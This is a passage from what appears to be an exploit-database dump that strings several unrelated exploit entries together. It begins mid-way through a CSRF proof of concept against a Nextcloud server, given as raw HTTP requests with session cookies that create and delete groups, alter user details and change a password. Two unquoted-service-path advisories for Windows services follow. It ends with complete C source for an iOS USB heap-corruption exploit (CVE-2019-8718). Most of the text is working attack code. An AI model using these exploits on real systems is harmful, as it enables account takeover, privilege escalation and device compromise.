__Host-nc_sameSiteCookiestrict=true; nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM; nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1 Content-Length: 0 ################################################################################################################################## # CSRF7 # Create Group POST /ocs/v2.php/cloud/groups HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 requesttoken: EjdL6QpK1LpIlTtWYWHqEa3p8UKwRqDbBraFa+WWRbE=:Q1IzrCUSpZFn+3IdFlmzVtSNu3r9LsuwdMPJIbb0F/g= Content-Length: 18 Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; redirect=1; testing=1 {"groupid":"test"} ################################################################################################################################## # CSRF8 # Delete Group DELETE /ocs/v2.php/cloud/groups/test HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate requesttoken: EjdL6QpK1LpIlTtWYWHqEa3p8UKwRqDbBraFa+WWRbE=:Q1IzrCUSpZFn+3IdFlmzVtSNu3r9LsuwdMPJIbb0F/g= Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; redirect=1; testing=1 ################################################################################################################################## # CSRF9 # Change User Full Name PUT /settings/users/ogoker/settings HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json requesttoken: nvnWCslz6So+9VRA8Vg8043tt1pf1wL/ysi2ak1J6es=:z5yuT+YrmAERmx0LhmBllPSJ/WISv2mUuL36IB4ru6I= OCS-APIREQUEST: true X-Requested-With: XMLHttpRequest Content-Length: 266 Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; redirect=1; testing=1 {"displayname":"Ozer Goker","displaynameScope":"contacts","phone":"","phoneScope":"private","email":"","emailScope":"contacts","website":"","websiteScope":"private","twitter":"","twitterScope":"private","address":"","addressScope":"private","avatarScope":"contacts"} ################################################################################################################################## # CSRF10 # Change User Email PUT /settings/users/ogoker/settings HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json requesttoken: I+6bC+nRvx4TyTudd4pzZrOucr8qlgwe0YE3v13+fOw=:covjTsaJzjU8p3LWALIqIcrKOIdn/md1o/R79Q6cLqU= OCS-APIREQUEST: true X-Requested-With: XMLHttpRequest Content-Length: 271 Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; redirect=1; testing=1 {"displayname":"ogoker","displaynameScope":"contacts","phone":"","phoneScope":"private","email":"test@test ","emailScope":"contacts","website":"","websiteScope":"private","twitter":"","twitterScope":"private","address":"","addressScope":"private","avatarScope":"contacts"} ################################################################################################################################## # CSRF11 # Change Language PUT /ocs/v2.php/cloud/users/ogoker HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 requesttoken: mRN2MXrwRQuE/fuQ5PNtyp4ulgYRocB99vbydSi8i+E=:yHYOdFWoNCCrk7Lbk8s0jedK3D5cyasWhIO+P3ve2ag= OCS-APIREQUEST: true X-Requested-With: XMLHttpRequest Content-Length: 21 Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; redirect=1; testing=1 key=language&value=tr ################################################################################################################################## # CSRF12 # Change User Password POST /settings/personal/changepassword HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 requesttoken: 0OhP82O7tEe/0gbwiEPrkFfuU9StyaiXNi0yqg02wT4=:gY03tkzjxWyQvE+7/3uy1y6KGezgocP8RFh+4F5Uk3c= OCS-APIREQUEST: true X-Requested-With: XMLHttpRequest Content-Length: 70 Connection: close Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp; oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; redirect=1; testing=1 oldpassword=abcd1234&newpassword=12345678&newpassword-clone=12345678 ##################################################################################################################################

# Exploit Title: _GCafé 3.0 - 'gbClienService' Unquoted Service Path # Google Dork: N/A # Date: 2019-11-09 # Exploit Author: Doan Nguyen (4ll4u) # Vendor Homepage: https://gcafe.vn/ # Software Link: https://gcafe.vn/post/view?slug=gcafe-3.0 # Version: v3.0 # Tested on: Windows 7, Win 10, WinXP # CVE : N/A # Description: # GCafé 3.0 - Internet Cafe is a software that supports the management of public Internet access points # PoC: # wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ gbClientService gbClientService C:\Program Files\GBillingClient\gbClientService.exe Auto #C:\>sc qc gbClientService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: gbClientService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\GBillingClient\gbClientService.exe LOAD_ORDER_GROUP : GarenaGroup TAG : 0 DISPLAY_NAME : gbClientService DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\>

# Exploit Title: Alps HID Monitor Service 8.1.0.10 - 'ApHidMonitorService' Unquote Service Path # Date: 2019-11-07 # Exploit Author: Héctor Gabriel Chimecatl Hernández # Vendor Homepage: https://www.alps.com/e/ # Software Link: https://www.alps.com/e/ # Version: 8.1.0.10 # Tested on: Windows 10 Home Single Language x64 Esp # Step to discover the unquoted Service: C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ # Service info: Alps HID Monitor Service ApHidMonitorService C:\Program Files\Apoint2K\HidMonitorSvc.exe Auto C:\Users\user>sc qc ApHidMonitorService [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: ApHidMonitorService TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\Apoint2K\HidMonitorSvc.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : Alps HID Monitor Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem

# Exploit Title: iOS IOUSBDeviceFamily 12.4.1 - 'IOInterruptEventSource' Heap Corruption (PoC) # Date: 2019-10-29 # Exploit Author: Sem Voigtlander, Joshua Hill and Raz Mashat # Vendor Homepage: https://apple.com/ # Software Link: https://support.apple.com/en-hk/HT210606 # Version: iOS 13 # Tested on: iOS 12.4.1 # CVE : N/A # A vulnerable implementation of IOInterruptEventSource on a workloop exists in IOUSBDeviceFamily. # The code can be triggered by a local attacker by sending a malicious USB control request to device. # It seems the faulting address register is corrupted as result of a heap corruption vulnerability. # However, on earlier iOS versions (tested on 12.0.1) we were able to trigger a use after free in reserved->statistics relating to the same vulnerable code too. # This bug was found through statically analyzing xnu from public source and optimized USB fuzzing. # A proof of concept written in C for macOS is attached, for other platforms python and c code using libusb exists on GitHub (https://github.com/userlandkernel/USBusted) iousbusted.c /* Pure IOKit implementation of CVE-2019-8718 Written by Sem Voigtländer. Compile: clang iousbusted.c -o iousbusted -framework IOKit -framework CoreFoundation Tip: You can also use this for projects like checkm8 autopwn etc. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <mach/mach.h> #include <IOKit/usb/IOUSBLib.h> #include <IOKit/IOCFPlugIn.h> #include <CoreFoundation/CoreFoundation.h> /* Faster comparissions for 64-bit integers than != and == */ #define FCOMP(P1,P2) !(P1 ^ P2) const char *defaultMsg = "HELLO WORLD"; /* Method for sending an USB control message to a target device */ static int send_usb_msg(IOUSBDeviceInterface** dev, int type, int reqno, int val, int idx, const char *msg) { if(!dev){ printf("No device handle given.\n"); return KERN_FAILURE; } if(!msg) msg = defaultMsg; IOUSBDevRequest req; req.bmRequestType = type; req.bRequest = reqno; req.wValue = val; req.wIndex = idx; req.wLength = strlen(msg); req.pData = msg; req.wLenDone = 0; IOReturn rc = KERN_SUCCESS; rc = (*dev)->DeviceRequest(dev, &req); if(rc != KERN_SUCCESS) { return rc; } return KERN_SUCCESS; } static int send_usbusted_pwn_msg(IOUSBDeviceInterface** dev, const char *msg) { if(!dev){ printf("No device handle given.\n"); return KERN_FAILURE; } kern_return_t rc = send_usb_msg(dev, 0|0x80, 0x6, 0x30c, 0x409, msg); if(rc != kIOReturnSuccess) { return rc; } return KERN_SUCCESS; } /* Print information from an IOKit USB device */ static int print_usb_device(io_service_t device){ kern_return_t err = KERN_SUCCESS; CFNumberRef vid = 0; CFNumberRef pid = 0; CFNumberRef locationID = 0; CFMutableDictionaryRef p = NULL; err = IORegistryEntryCreateCFProperties(device, &p, NULL, 0); if(err != KERN_SUCCESS || !p) return err; if(!CFDictionaryGetValueIfPresent(p, CFSTR("idVendor"), &vid)) return KERN_FAILURE; if(!CFDictionaryGetValueIfPresent(p, CFSTR("idProduct"), &pid)) return KERN_FAILURE; CFDictionaryGetValueIfPresent(p, CFSTR("locationID"), &locationID); CFNumberGetValue(vid, kCFNumberSInt32Type, &vid); CFNumberGetValue(pid, kCFNumberSInt32Type, &pid); // <-- yes I know this is dirty, I was tired. if(locationID) CFNumberGetValue(locationID, kCFNumberSInt32Type, &locationID); printf("Got device %#x @ %#x (%#x:%#x)\n", device, locationID, vid, pid); return err; } /* Get a handle for sending to a device */ static int get_usbdevice_handle(io_service_t device, IOUSBDeviceInterface* dev){ kern_return_t err = KERN_SUCCESS; SInt32 score; IOCFPlugInInterface** plugInInterface = NULL; err = IOCreatePlugInInterfaceForService(device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugInInterface, &score); if (err != KERN_SUCCESS || plugInInterface == NULL) return err; err = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID), (LPVOID*)dev); if(err != kIOReturnSuccess) return err; // Now done with the plugin interface. (*plugInInterface)->Release(plugInInterface); //plugInInterface = NULL; if(!dev) return KERN_FAILURE; return err; } /* Iterate over all USB devices */ static int iterate_usb_devices(const char *msg){ CFMutableDictionaryRef matchingDict; io_iterator_t iter; kern_return_t kr; io_service_t device; /* set up a matching dictionary for the class */ matchingDict = IOServiceMatching(kIOUSBDeviceClassName); if (matchingDict == NULL) { return -1; // fail } /* Now we have a dictionary, get an iterator.*/ kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); if (kr != KERN_SUCCESS) { return -1; } /* iterate */ while ((device = IOIteratorNext(iter))) { /* do something with device, eg. check properties */ kr = print_usb_device(device); if(kr != KERN_SUCCESS){ printf("Skipping device as it has no vid / pid.\n"); continue; } IOUSBDeviceInterface **dev = 0; kr = get_usbdevice_handle(device, &dev); if(kr != KERN_SUCCESS){ printf("Skipping device as no handle for it could be retrieved.\n"); continue; } kr = send_usbusted_pwn_msg(dev, msg); printf("RET: %s\n\n", mach_error_string(kr)); /* And free the reference taken before continuing to the next item */ IOObjectRelease(device); } /* Done, release the iterator */ IOObjectRelease(iter); return 0; } int main(int argc, char *argv[]){ char payload[108]; memset(&payload, 'A', 108); int err = iterate_usb_devices(payload); return err; }